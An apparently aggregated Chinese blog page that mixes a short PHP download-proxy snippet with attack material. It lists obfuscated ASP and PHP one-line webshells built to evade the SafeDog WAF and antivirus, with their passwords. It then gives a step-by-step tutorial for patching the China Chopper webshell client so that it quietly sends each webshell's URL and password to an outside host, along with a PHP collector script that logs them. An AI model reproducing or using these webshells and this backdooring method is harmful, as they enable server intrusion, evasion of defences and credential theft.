本文目錄一覽:
php如何實現中轉下載文件
?php
header(‘Content-type: application/save-as’);
header(‘Content-Disposition: attachment; filename=”a.rar”‘);
readfile(”);
?
上面的例子只用了三個語句,完全就能實現你的基本功能。兩個header語句告訴瀏覽器把接下來的數據保存為文件,readfile語句從互聯網上獲得文件內容到伺服器,然後再發給瀏覽器。
你需要使用url參數獲得地址,這個代碼不難,你應該是會的。
最新過狗免殺php大馬體積最小1KB嗎
厲害了我的哥,謝謝了,我也給你過狗一句話馬
ASP系列
%Y=request(“shezhang”)% %execute(Y)%
%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“shezhang”))%
%eval””(“e””v””a””l””(“”r””e””q””u””e””s””t””(“”0″”-“”2″”-“”5″”)””)”)%(密碼是-7)
%execute(request(“-7”))%
PHP系列
?php eval($_POST[-7]);?
?php $a = str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“shezhang”]); ?
?php $lang = (string)key($_POST);$lang($_POST[‘shezhang’]);?
?php $k=”ass”.”ert”; $k(${“_PO”.”ST”} [‘shezhang’]);?
?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[“shezhang”]); ?
?php
@$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”;
@$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;
@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?
密碼是 -7
如何給中國菜刀添加隱蔽後門
1、後門如何觸發
這裡要先講下菜刀的後門是如何觸發的,知道如何觸發後門,後面按這個思路往下看會方便些。
當一句話連回目標伺服器時,我們經常會在文件列表中右鍵查看文件,如下圖
當我們執行右鍵-編輯文件時,我們的後門就會被觸發(我們要添加的就是這樣的一個隱藏後門)。
2、菜刀脫殼
在分析菜刀前,先把菜刀的殼脫掉,使用Peid可知,菜刀是UPx殼,網上找個Upx的脫殼工具即可脫殼。
3、查看數據包,分析流程(右鍵-編輯)
本地搭建好環境後,在菜刀中右鍵-編輯查看某一文件,使用burpsuite進行抓包,
數據如下
a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3Bz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3Dz1=QzpcXHdhbXBcXHd3d1xccm9ib3RzLnR4dA%3D%3D
一共有3個參數,
a url解碼後為@eval (base64_decode($_POST[z0]));
z0先url解碼,在base64解碼為
@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“-|”);;$F=base64_decode($_POST[“z1″]);$P=@fopen($F,”r”);echo(@fread($P,filesize($F)));@fclose($P);;echo(“|-“);die();
Z1先url解碼,在base64解碼為
C:\\wamp\\www\\robots.txt
稍微熟悉php的人應該能看出來,這段代碼就是一個讀文件的php腳本,由菜刀發送到目標伺服器上,然後在目標伺服器上執行的。 既然代碼作為字元串發送帶目標伺服器上,那我我們可以再字元串上添加我們想執行的代碼,由菜刀一起發送過去執行。
if(@$_COOKIE[‘f1’]!=95){@setcookie(‘f1′,95);@file_get_contents(”.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].’_P=’.key($_POST));}
如果我們將上這段代碼作為字元串,發送到服務端執行,我們就能獲得webshell的地址和密碼。
4、使用OD分析
使用OD打開中國菜刀,右鍵搜索字元串,結果如下:
定位到php讀取文的字元串處,點擊進去到代碼處
可知,程序時將其作為字元串,壓入棧中作為參數被後續函數處理的,如果在這段字元串後加入我們的後門代碼,就會被程序一塊發送到服務端執行。
5、修改菜刀程序文件
由上可知,字元串的地址為0x49ba94,查看內存數據,
發現其後面已經被他字元串佔用(直接查看原二進位文件結果也是如此),如果我們強制在後面添加後門字元串,就會破壞遠程的某些內容。因此我們需要另外找一個空閑的大空間,將後門代碼放在此處。
這裡我們選取地址4841d0h的空間,轉化為文件偏移即為841d0h。
將後門字元串
$F=base64_decode($_POST[“z1″]);$P=@fopen($F,”r”);echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE[‘f1’]!=95){@setcookie(‘f1′,95);@file_get_contents(”.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].’_P=’.key($_POST));}
放到文件841d0處
打開010editor 將上述字元串複製到010editor中,
由於程序中的字元串是雙位元組存放的,這裡我們需要將後門代碼也轉化為雙位元組的。010ditor-工具-轉換
使用010editor打開菜刀程序,跳到841d0h偏移處,將轉換後的字元串覆蓋替換菜刀程序中相同大小的數據長度,
保存文件,這樣後門字元串就被我們添加到程序中了。
6、使用OD修改程序代碼
用OD打開菜刀程序,定位到第4步中字元串入棧的代碼處 push 0049bae4。
0049bae4地址是修改前字元串的位置,現在我們將其改成我們添加的字元串的地質處,字元串文件偏移為841d0h,轉化內存偏移為4841d0h,代碼修改如下
保存修改的文件即可。
7、測試修改結果
修改文件後,我們在看看菜刀-右鍵編輯,抓到數據包
Z0解密後為
@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“-|”);;$F=base64_decode($_POST[“z1″]);$P=@fopen($F,”r”);echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE[‘f1’]!=95){@setcookie(‘f1′,95);@file_get_contents(”.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].’_P=’.key($_POST));};echo(“|-“);die();
可見我們的後門代碼也一起被發送到服務端執行了。
編寫加單的getx.php接收結果,
getx.php:
?php
$getx = $_GET[“caidao”];
$file = fopen(“getx.txt”,”a+”);
fwrite($file,$getx);
fwrite($file,”\r\n”);
fclose($file);
?
結果如下:
8、後記
通過測試可知,對於asp,aspx跟php後門的添加相似,都可以實現。Jsp木馬形式不一,實現添加後門較為困難。另外,由於後門是在服務端執行的,所以不容易被發現,本地抓包是檢測不到後門的;OD中右鍵查看後門地址也是不能直接看到的。
php最新php大馬免殺過狗最小1kB嗎?
$get = chr(102) . chr(105) . chr(108) . chr(101) . chr(95)
ascii=102
$get=file_
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/303063.html